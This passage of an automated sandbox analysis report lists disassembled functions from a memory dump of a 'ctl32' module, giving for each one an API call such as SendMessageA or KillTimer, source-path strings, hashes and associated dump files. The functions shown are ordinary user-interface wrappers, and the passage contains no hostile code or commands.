Opcode Fuzzy Hash: a4e8f6c1e0f0e719e49bb50dc02c9156cf18e10f3a85b9adc6d500caaea46bf6
Instruction Fuzzy Hash: 60E08675A502187BD310DA81DC46FD6F39CEB55755F008126F9255A241D670B8408790

Uniqueness

Uniqueness Score: -1.00%

Function 110149A0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000100D,?,?), ref: 110149D4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110149B1
m_hWnd, xrefs: 110149B6

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: ba6a96292a56ad6bbcf33101d68f0c546835ff46d84acf4b75f9693743b025fd
Instruction ID: f98ce014c3fd97d85dee2e1657fbd807c79f3d14d0710ef533e3743392f3b888
Opcode Fuzzy Hash: ba6a96292a56ad6bbcf33101d68f0c546835ff46d84acf4b75f9693743b025fd
Instruction Fuzzy Hash: D6E08675A00359BBD310DA81DC86FDBF39CDB45714F00C425F95956240D6B0B94087A0

Uniqueness

Uniqueness Score: -1.00%

Function 110151A0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001014,?,?), ref: 110151D4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110151B1
m_hWnd, xrefs: 110151B6

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 9426acf8e79a86d963c2fc4e4fe9e0b3a848eac582adc7d94dbc3e0bf9044144
Instruction ID: 66f1678c741d69056f24fb38e5f1926d93c7d4e0e7c38f0779b183b432510f86
Opcode Fuzzy Hash: 9426acf8e79a86d963c2fc4e4fe9e0b3a848eac582adc7d94dbc3e0bf9044144
Instruction Fuzzy Hash: 26E08675A403197BD310DA81DC46ED6F39CDB45714F008025F9595A240D6B1B94087A0

Uniqueness

Uniqueness Score: -1.00%

Function 110141B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001201,?,?), ref: 110141E1

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 110141BE
m_hWnd, xrefs: 110141C3

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: 2220ea4d4314ce11eb19b23b232e9ac23e65213a12c5755011ccedf5fcfbd85d
Instruction ID: e40b82f977eb721f415d7ce6a6c2c5c571fa6c694b71c8e0fe353644d2fc67f2
Opcode Fuzzy Hash: 2220ea4d4314ce11eb19b23b232e9ac23e65213a12c5755011ccedf5fcfbd85d
Instruction Fuzzy Hash: C6E0CD75A503187BD710DA81DC86FD7F39CDB54755F00C125FD2556640D670F950C790

Uniqueness

Uniqueness Score: -1.00%

Function 110141F0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001205,00000000,?), ref: 1101421F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h, xrefs: 110141FE
m_hWnd, xrefs: 11014203

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\headctrl.h$m_hWnd
API String ID: 819365019-3507600817
Opcode ID: 45d04b9d47e171c164f04e5fe7f3ce9731aac29ce4d7bf167181722963fe8d9e
Instruction ID: 032d4df9316a5e8283d8688c6328372b319042290bc349747f778d43e7cc2059
Opcode Fuzzy Hash: 45d04b9d47e171c164f04e5fe7f3ce9731aac29ce4d7bf167181722963fe8d9e
Instruction Fuzzy Hash: B3E02B75B903287BD3209A81DC46FD7F39CDB04B55F004035F625AA581E6B1F450C794

Uniqueness

Uniqueness Score: -1.00%

Function 110171F0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000101C,?,00000000), ref: 11017222

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11017201
m_hWnd, xrefs: 11017206

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 60a1b6a3ee2cbd739f663da181e31c22685e6289d91970e62bf161fdfa926ba2
Instruction ID: ca461658ff4ad9fd457e958dedcd80386c4d58b841a73ce1d2056031be29817f
Opcode Fuzzy Hash: 60a1b6a3ee2cbd739f663da181e31c22685e6289d91970e62bf161fdfa926ba2
Instruction Fuzzy Hash: 54E0C275A80329BBE2209681DC42FD6F38C9B05714F004435F6196A182D5B0F4408694

Uniqueness

Uniqueness Score: -1.00%

Function 11014860, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000102F,?,00000000), ref: 11014892

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 11014871
m_hWnd, xrefs: 11014876

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: f1adf995de881a2d089194a31c29137ebcd16b167b26e38d0dd2afc25eaac3e8
Instruction ID: 6c683f8b0539e20cba0793ddc7299e16ef6066829b2ddcb808c332df88c06a0d
Opcode Fuzzy Hash: f1adf995de881a2d089194a31c29137ebcd16b167b26e38d0dd2afc25eaac3e8
Instruction Fuzzy Hash: 90E02B75B4036A7BD324D6C1DC46FD6F39CDB05754F004036FA1A6A580D6B1F440C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 110148A0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001005,00000000,?), ref: 110148D2

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110148B1
m_hWnd, xrefs: 110148B6

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 91b58e28c3fc28f96534cbdc6e93cacf09efd4508ecb80f5979a0a770eac5efb
Instruction ID: 036f5eb1e91b5b39cfc5f78382eaeed4f47a05f9a98aa2e8f530f089e2f38ee1
Opcode Fuzzy Hash: 91b58e28c3fc28f96534cbdc6e93cacf09efd4508ecb80f5979a0a770eac5efb
Instruction Fuzzy Hash: 06E02B75A403697BD320D6C1DC46FD6F38C9B05714F004036FA196A580E6B0F540C7B4

Uniqueness

Uniqueness Score: -1.00%

Function 110148E0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00001006,00000000,?), ref: 11014912

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 110148F1
m_hWnd, xrefs: 110148F6

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: ff69a3dc45a2cb2812106876609207df147ef571aa240f30f8ec539c9abddc87
Instruction ID: a3a1a077984b130b6bca9424c2e2323be6aa8fee7014b568f255088699824343
Opcode Fuzzy Hash: ff69a3dc45a2cb2812106876609207df147ef571aa240f30f8ec539c9abddc87
Instruction Fuzzy Hash: E8E0C275A403697BD2309A81DC42FDAF38C9B05754F008435F61A6A180D6B1B4908694

Uniqueness

Uniqueness Score: -1.00%

Function 11016170, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20windowCOMMON

Download Yara Rule

APIs

ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 11016198

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h, xrefs: 1101617D
m_hImageList, xrefs: 11016182

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorExitIconImageLastList_MessageProcessReplacewsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h$m_hImageList
API String ID: 2426217062-4007669474
Opcode ID: 5113717a35f8a1ec747186b26df29046b32877a8f349f41facf259b61c2aef29
Instruction ID: 8e65b7ad63f8a8bd737c5e548218eb9c2c83e8f30b1cb0f0ee6871e24481aec6
Opcode Fuzzy Hash: 5113717a35f8a1ec747186b26df29046b32877a8f349f41facf259b61c2aef29
Instruction Fuzzy Hash: B8D02B756402297BC3108A88DC01FD5F38CCF15371F040336F961522C0D9B0A4408B94

Uniqueness

Uniqueness Score: -1.00%

Function 11001120, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100114B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001131
m_hWnd, xrefs: 11001136

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: 29a8f3e74b10ecb473689528bebe8d9fb683c07999dd0dfdb1f1582f8126aa29
Instruction ID: 819250d5e51c5ae6cd1eebd62df6884d4c995cad7bb4673794d6e20848bff6e8
Opcode Fuzzy Hash: 29a8f3e74b10ecb473689528bebe8d9fb683c07999dd0dfdb1f1582f8126aa29
Instruction Fuzzy Hash: A0D02BB191032D7BC3048A81DC42ED6F3CCEB04365F004036F62656100D670E440C3D4

Uniqueness

Uniqueness Score: -1.00%

Function 11001000, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 41ac2f8117c1c669daa6b7824a22dc0040faad1d84520ef1f3ec06ac7ff731c9
Instruction ID: 3936fa5a6487bcfb2675ba24450813cfe8c9b001fa673c8171921283ac7246b0
Opcode Fuzzy Hash: 41ac2f8117c1c669daa6b7824a22dc0040faad1d84520ef1f3ec06ac7ff731c9
Instruction Fuzzy Hash: C8D02BB66003287BD320D681DC41ED6F3CCD708354F004036F51956100D5B0E840C390

Uniqueness

Uniqueness Score: -1.00%

Function 11014960, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001032,00000000,00000000), ref: 1101498D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h, xrefs: 1101496E
m_hWnd, xrefs: 11014973

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\listview.h$m_hWnd
API String ID: 819365019-3966830984
Opcode ID: 99e756a3a64ec9ed9c9c8981f78799417f19046fec714046585ec63228c663e2
Instruction ID: a4fb90f55706e6eaef0c83aa107f5fd66a08e3236ee74b2d3831c90f3092421f
Opcode Fuzzy Hash: 99e756a3a64ec9ed9c9c8981f78799417f19046fec714046585ec63228c663e2
Instruction Fuzzy Hash: 22D0A775E903667BE6309595EC47FC5F2885B05704F018465F165790C0D2E0B4808684

Uniqueness

Uniqueness Score: -1.00%

Function 11014170, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00001200,00000000,00000000), ref: 1101419A

